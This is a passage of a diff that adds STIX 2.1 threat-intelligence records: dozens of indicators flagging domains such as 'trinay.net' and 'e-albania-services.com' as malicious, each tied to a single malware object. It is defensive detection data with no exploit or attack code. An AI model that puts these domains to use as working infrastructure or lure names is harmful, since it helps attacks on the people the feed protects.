"indicator", + "spec_version": "2.1", + "id": "indicator--fcb314e0-3208-4bf8-b9cc-567a3814da87", + "created": "2023-03-29T12:58:44.729893Z", + "modified": "2023-03-29T12:58:44.729893Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='trinay.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.729893Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cf5c3ed9-e67c-44f9-886f-5f87219797ec", + "created": "2023-03-29T12:58:44.730596Z", + "modified": "2023-03-29T12:58:44.730596Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcb314e0-3208-4bf8-b9cc-567a3814da87", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4252d37b-1663-44ab-ae07-b2117fa3c654", + "created": "2023-03-29T12:58:44.730768Z", + "modified": "2023-03-29T12:58:44.730768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stifletried.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.730768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed5923f2-8c5e-49a3-a9e4-d734e662113a", + "created": "2023-03-29T12:58:44.731361Z", + "modified": "2023-03-29T12:58:44.731361Z", + "relationship_type": "indicates", + "source_ref": "indicator--4252d37b-1663-44ab-ae07-b2117fa3c654", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a1b1c77-dd7a-4935-8d94-5129a2aff47f", + "created": "2023-03-29T12:58:44.73153Z", + "modified": "2023-03-29T12:58:44.73153Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='startaction.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.73153Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee4221de-71c5-4451-be3e-b390f575fb20", + "created": "2023-03-29T12:58:44.732117Z", + "modified": "2023-03-29T12:58:44.732117Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a1b1c77-dd7a-4935-8d94-5129a2aff47f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b92e48ee-0d6c-43f6-bb47-5e0d6e9585ea", + "created": "2023-03-29T12:58:44.732283Z", + "modified": "2023-03-29T12:58:44.732283Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eatsaged.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.732283Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d02d891-96bc-418f-8680-58086060da28", + "created": "2023-03-29T12:58:44.732869Z", + "modified": "2023-03-29T12:58:44.732869Z", + "relationship_type": "indicates", + "source_ref": "indicator--b92e48ee-0d6c-43f6-bb47-5e0d6e9585ea", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--898638bf-1a94-472e-a364-dd03378dfd0c", + "created": "2023-03-29T12:58:44.733038Z", + "modified": "2023-03-29T12:58:44.733038Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='e-albania-services.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.733038Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c45e288-a613-4d34-b4ad-61b8f2b40050", + "created": "2023-03-29T12:58:44.73364Z", + "modified": "2023-03-29T12:58:44.73364Z", + "relationship_type": "indicates", + "source_ref": "indicator--898638bf-1a94-472e-a364-dd03378dfd0c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b536bc4d-4baa-46f3-a822-9fe9e9091b6d", + "created": "2023-03-29T12:58:44.733808Z", + "modified": "2023-03-29T12:58:44.733808Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rivaldefraud.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.733808Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--25e657cd-0e19-41ef-b8d8-13bafdfbc292", + "created": "2023-03-29T12:58:44.734396Z", + "modified": "2023-03-29T12:58:44.734396Z", + "relationship_type": "indicates", + "source_ref": "indicator--b536bc4d-4baa-46f3-a822-9fe9e9091b6d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3ec9be89-ed1b-47ad-861b-2e6dc67772ab", + "created": "2023-03-29T12:58:44.734565Z", + "modified": "2023-03-29T12:58:44.734565Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drivablewikipedia.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.734565Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d7523e1-365b-46b7-ada9-74b25c3e7899", + "created": "2023-03-29T12:58:44.735165Z", + "modified": "2023-03-29T12:58:44.735165Z", + "relationship_type": "indicates", + "source_ref": "indicator--3ec9be89-ed1b-47ad-861b-2e6dc67772ab", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f1d9d245-ee3e-4177-926c-aaff3c511170", + "created": "2023-03-29T12:58:44.735332Z", + "modified": "2023-03-29T12:58:44.735332Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bakeshopslashing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.735332Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56df9e5d-69b9-4cf6-a88a-fc4c5234e5f4", + "created": "2023-03-29T12:58:44.735927Z", + "modified": "2023-03-29T12:58:44.735927Z", + "relationship_type": "indicates", + "source_ref": "indicator--f1d9d245-ee3e-4177-926c-aaff3c511170", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4f77491f-6e37-4497-8e8f-66eacb643e3b", + "created": "2023-03-29T12:58:44.7361Z", + "modified": "2023-03-29T12:58:44.7361Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='appetiteretreat.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.7361Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4e1b5755-a0aa-4b38-8d1e-24ba9a74d3a6", + "created": "2023-03-29T12:58:44.736695Z", + "modified": "2023-03-29T12:58:44.736695Z", + "relationship_type": "indicates", + "source_ref": "indicator--4f77491f-6e37-4497-8e8f-66eacb643e3b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a37c1146-a4b5-4e56-9485-25e2444fb63c", + "created": "2023-03-29T12:58:44.736866Z", + "modified": "2023-03-29T12:58:44.736866Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='asresidence.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.736866Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a012f316-b8ca-4261-b58b-80601456d638", + "created": "2023-03-29T12:58:44.737577Z", + "modified": "2023-03-29T12:58:44.737577Z", + "relationship_type": "indicates", + "source_ref": "indicator--a37c1146-a4b5-4e56-9485-25e2444fb63c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a980b0c-7055-4792-9845-2eea3648e514", + "created": "2023-03-29T12:58:44.73775Z", + "modified": "2023-03-29T12:58:44.73775Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gemblend.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.73775Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--28fed0fc-5cd6-4481-8834-891e0298ae17", + "created": "2023-03-29T12:58:44.738337Z", + "modified": "2023-03-29T12:58:44.738337Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a980b0c-7055-4792-9845-2eea3648e514", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b50820be-5761-42cd-8fa6-d753acbbd589", + "created": "2023-03-29T12:58:44.738506Z", + "modified": "2023-03-29T12:58:44.738506Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jiffypreppy.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.738506Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3e9d78de-24d1-4903-be6e-851613ca7ab5", + "created": "2023-03-29T12:58:44.739097Z", + "modified": "2023-03-29T12:58:44.739097Z", + "relationship_type": "indicates", + "source_ref": "indicator--b50820be-5761-42cd-8fa6-d753acbbd589", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--31679229-1aed-436e-b104-7ba32d29d762", + "created": "2023-03-29T12:58:44.739265Z", + "modified": "2023-03-29T12:58:44.739265Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='solarbass.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.739265Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f4a5122a-4e51-47a9-8b28-3d0169699e57", + "created": "2023-03-29T12:58:44.73985Z", + "modified": "2023-03-29T12:58:44.73985Z", + "relationship_type": "indicates", + "source_ref": "indicator--31679229-1aed-436e-b104-7ba32d29d762", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--515437a1-ac13-4a77-9c96-c5ac73ecdebd", + "created": "2023-03-29T12:58:44.740018Z", + "modified": "2023-03-29T12:58:44.740018Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='writtenunmanned.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.740018Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9b930724-74b0-43ba-afbc-592ffbdf31ce", + "created": "2023-03-29T12:58:44.740613Z", + "modified": "2023-03-29T12:58:44.740613Z", + "relationship_type": "indicates", + "source_ref": "indicator--515437a1-ac13-4a77-9c96-c5ac73ecdebd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a3a9962f-5cd3-480b-81ce-4be4bb28a2a0", + "created": "2023-03-29T12:58:44.740783Z", + "modified": "2023-03-29T12:58:44.740783Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='achinessfiddle.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.740783Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d68f677c-f52a-45ff-8cdc-99e04b930c6f", + "created": "2023-03-29T12:58:44.741373Z", + "modified": "2023-03-29T12:58:44.741373Z", + "relationship_type": "indicates", + "source_ref": "indicator--a3a9962f-5cd3-480b-81ce-4be4bb28a2a0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a4bb74d4-0ec2-4a5f-a577-15ce35641580", + "created": "2023-03-29T12:58:44.741545Z", + "modified": "2023-03-29T12:58:44.741545Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='designerbalsamic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.741545Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0ee4edcb-2e53-4b49-b120-828d83d4c80c", + "created": "2023-03-29T12:58:44.742141Z", + "modified": "2023-03-29T12:58:44.742141Z", + "relationship_type": "indicates", + "source_ref": "indicator--a4bb74d4-0ec2-4a5f-a577-15ce35641580", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4275fca-7170-4825-bada-72005142dd72", + "created": "2023-03-29T12:58:44.742312Z", + "modified": "2023-03-29T12:58:44.742312Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thicknessfreckles.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.742312Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c741c71-a12a-419d-a8a6-991bd81b8cbb", + "created": "2023-03-29T12:58:44.742913Z", + "modified": "2023-03-29T12:58:44.742913Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4275fca-7170-4825-bada-72005142dd72", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06b0f29d-37d4-4374-961e-193fd0d62a6f", + "created": "2023-03-29T12:58:44.743081Z", + "modified": "2023-03-29T12:58:44.743081Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unstuffedafflicted.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.743081Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e322a76b-62cf-419d-b171-eda24dfbd5b0", + "created": "2023-03-29T12:58:44.743681Z", + "modified": "2023-03-29T12:58:44.743681Z", + "relationship_type": "indicates", + "source_ref": "indicator--06b0f29d-37d4-4374-961e-193fd0d62a6f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ef4437f1-dcbb-4a51-bedd-f8e93973ab80", + "created": "2023-03-29T12:58:44.743848Z", + "modified": "2023-03-29T12:58:44.743848Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='impendingtarget.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.743848Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddd622f8-bc04-4936-9322-404fdc268de2", + "created": "2023-03-29T12:58:44.744552Z", + "modified": "2023-03-29T12:58:44.744552Z", + "relationship_type": "indicates", + "source_ref": "indicator--ef4437f1-dcbb-4a51-bedd-f8e93973ab80", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--905044c9-7a97-41d4-9f53-d7a7b635fd64", + "created": "2023-03-29T12:58:44.744724Z", + "modified": "2023-03-29T12:58:44.744724Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='resaleslab.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.744724Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e72747f3-38ab-4139-914a-39c273d3c034", + "created": "2023-03-29T12:58:44.745315Z", + "modified": "2023-03-29T12:58:44.745315Z", + "relationship_type": "indicates", + "source_ref": "indicator--905044c9-7a97-41d4-9f53-d7a7b635fd64", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--463abb1e-2181-4735-bf24-c8b39386c49f", + "created": "2023-03-29T12:58:44.745484Z", + "modified": "2023-03-29T12:58:44.745484Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nervyrelapsing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.745484Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8cdb05bd-048f-4a12-a1df-99f71a8c8a2b", + "created": "2023-03-29T12:58:44.746081Z", + "modified": "2023-03-29T12:58:44.746081Z", + "relationship_type": "indicates", + "source_ref": "indicator--463abb1e-2181-4735-bf24-c8b39386c49f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--73be4149-e813-4f52-98ba-2f968ce21166", + "created": "2023-03-29T12:58:44.746252Z", + "modified": "2023-03-29T12:58:44.746252Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='neuropathynews.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.746252Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d7dfa268-b6e7-4525-b4ca-8eaca2aea48f", + "created": "2023-03-29T12:58:44.746849Z", + "modified": "2023-03-29T12:58:44.746849Z", + "relationship_type": "indicates", + "source_ref": "indicator--73be4149-e813-4f52-98ba-2f968ce21166", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--30a761db-5362-47c6-b5f1-da17c30db04e", + "created": "2023-03-29T12:58:44.747018Z", + "modified": "2023-03-29T12:58:44.747018Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='derbyextent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.747018Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4cf68975-f792-4f0d-a534-cf8b789809be", + "created": "2023-03-29T12:58:44.747605Z", + "modified": "2023-03-29T12:58:44.747605Z", + "relationship_type": "indicates", + "source_ref": "indicator--30a761db-5362-47c6-b5f1-da17c30db04e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff6cf6f1-d7b2-4c50-80af-28de06e30556", + "created": "2023-03-29T12:58:44.747772Z", + "modified": "2023-03-29T12:58:44.747772Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='taredforest.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.747772Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ef9053b4-b812-4de0-a045-f00a3e50e5de", + "created": "2023-03-29T12:58:44.74836Z", + "modified": "2023-03-29T12:58:44.74836Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff6cf6f1-d7b2-4c50-80af-28de06e30556", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a545f5b-a095-45d5-80ae-2003f7a45282", + "created": "2023-03-29T12:58:44.748527Z", + "modified": "2023-03-29T12:58:44.748527Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tripletowers.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.748527Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--649590c8-6851-426b-a923-468c5c6d5f42", + "created": "2023-03-29T12:58:44.749119Z", + "modified": "2023-03-29T12:58:44.749119Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a545f5b-a095-45d5-80ae-2003f7a45282", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--54cabd8d-b62a-4d24-935b-0ac8f0eaedfd", + "created": "2023-03-29T12:58:44.749288Z", + "modified": "2023-03-29T12:58:44.749288Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lispperoxide.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.749288Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4be197cd-23c8-4550-9244-dd986d36518c", + "created": "2023-03-29T12:58:44.749885Z", + "modified": "2023-03-29T12:58:44.749885Z", + "relationship_type": "indicates", + "source_ref": "indicator--54cabd8d-b62a-4d24-935b-0ac8f0eaedfd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4fcedb7c-d665-4777-80c4-974539551f50", + "created": "2023-03-29T12:58:44.750057Z", + "modified": "2023-03-29T12:58:44.750057Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='paupercarrot.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.750057Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6cad41c0-08fb-4c74-b127-bddb7d07db7e", + "created": "2023-03-29T12:58:44.750647Z", + "modified": "2023-03-29T12:58:44.750647Z", + "relationship_type": "indicates", + "source_ref": "indicator--4fcedb7c-d665-4777-80c4-974539551f50", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a8867a6-a14a-48b5-a65b-5226b4a555ee", + "created": "2023-03-29T12:58:44.750819Z", + "modified": "2023-03-29T12:58:44.750819Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='finalejailhouse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.750819Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d57c6278-31d4-4adf-b486-e84b13d6d470", + "created": "2023-03-29T12:58:44.751532Z", + "modified": "2023-03-29T12:58:44.751532Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a8867a6-a14a-48b5-a65b-5226b4a555ee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--39c7dcc1-6faa-4ca6-8cc5-fd75f965ead6", + "created": "2023-03-29T12:58:44.751706Z", + "modified": "2023-03-29T12:58:44.751706Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clearviewdirect.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.751706Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d4f5bcb-1118-4d32-8ce0-4f5106e6a6ac", + "created": "2023-03-29T12:58:44.7523Z", + "modified": "2023-03-29T12:58:44.7523Z", + "relationship_type": "indicates", + "source_ref": "indicator--39c7dcc1-6faa-4ca6-8cc5-fd75f965ead6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd21c41c-063b-4415-96c4-452aaf49a923", + "created": "2023-03-29T12:58:44.752467Z", + "modified": "2023-03-29T12:58:44.752467Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coilrelax.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.752467Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--720f77b7-4a7a-4f89-b38d-d429347d6fcb", + "created": "2023-03-29T12:58:44.753053Z", + "modified": "2023-03-29T12:58:44.753053Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd21c41c-063b-4415-96c4-452aaf49a923", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7dbe03b0-c224-473c-90f3-61e49d2aa3f5", + "created": "2023-03-29T12:58:44.75322Z", + "modified": "2023-03-29T12:58:44.75322Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overeatersend.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.75322Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4eee5560-0c45-4f52-8c3e-106400396131", + "created": "2023-03-29T12:58:44.753846Z", + "modified": "2023-03-29T12:58:44.753846Z", + "relationship_type": "indicates", + "source_ref": "indicator--7dbe03b0-c224-473c-90f3-61e49d2aa3f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--900bac52-50f4-47bf-8a96-3a2b42b99332", + "created": "2023-03-29T12:58:44.754017Z", + "modified": "2023-03-29T12:58:44.754017Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='conditiontray.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.754017Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--43a79aa6-a300-49c5-a244-2c2eb4b1bf23", + "created": "2023-03-29T12:58:44.75461Z", + "modified": "2023-03-29T12:58:44.75461Z", + "relationship_type": "indicates", + "source_ref": "indicator--900bac52-50f4-47bf-8a96-3a2b42b99332", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--73cf1aa2-131c-4bff-a4b9-d9cfc4891bc7", + "created": "2023-03-29T12:58:44.75478Z", + "modified": "2023-03-29T12:58:44.75478Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sindonevs.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.75478Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89d4ecba-7192-413c-a6a2-4800384fb328", + "created": "2023-03-29T12:58:44.755368Z", + "modified": "2023-03-29T12:58:44.755368Z", + "relationship_type": "indicates", + "source_ref": "indicator--73cf1aa2-131c-4bff-a4b9-d9cfc4891bc7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0bdf6ee8-c212-4b14-a769-3a684d324c44", + "created": "2023-03-29T12:58:44.755536Z", + "modified": "2023-03-29T12:58:44.755536Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='purifyresurrect.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.755536Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f72f4fd-e827-465b-bc67-e9837f58d134", + "created": "2023-03-29T12:58:44.756131Z", + "modified": "2023-03-29T12:58:44.756131Z", + "relationship_type": "indicates", + "source_ref": "indicator--0bdf6ee8-c212-4b14-a769-3a684d324c44", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fe88cea3-30dd-41c6-86a2-12f0a08ca52a", + "created": "2023-03-29T12:58:44.756297Z", + "modified": "2023-03-29T12:58:44.756297Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='afraidprevalent.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.756297Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ac655352-2f42-4407-b729-99a4df10f8c6", + "created": "2023-03-29T12:58:44.756899Z", + "modified": "2023-03-29T12:58:44.756899Z", + "relationship_type": "indicates", + "source_ref": "indicator--fe88cea3-30dd-41c6-86a2-12f0a08ca52a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6509d001-ec4a-42c4-9473-2b2831c88159", + "created": "2023-03-29T12:58:44.757067Z", + "modified": "2023-03-29T12:58:44.757067Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rustyicemelon.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.757067Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--809b329d-b066-4be2-942e-632289350175", + "created": "2023-03-29T12:58:44.757668Z", + "modified": "2023-03-29T12:58:44.757668Z", + "relationship_type": "indicates", + "source_ref": "indicator--6509d001-ec4a-42c4-9473-2b2831c88159", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--899c52c5-8759-40b1-a64f-2b3377ae8269", + "created": "2023-03-29T12:58:44.75784Z", + "modified": "2023-03-29T12:58:44.75784Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='surfercarnation.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.75784Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d1329d35-d0ca-45ec-8ef2-d5b9012282fc", + "created": "2023-03-29T12:58:44.758549Z", + "modified": "2023-03-29T12:58:44.758549Z", + "relationship_type": "indicates", + "source_ref": "indicator--899c52c5-8759-40b1-a64f-2b3377ae8269", + "target_ref": 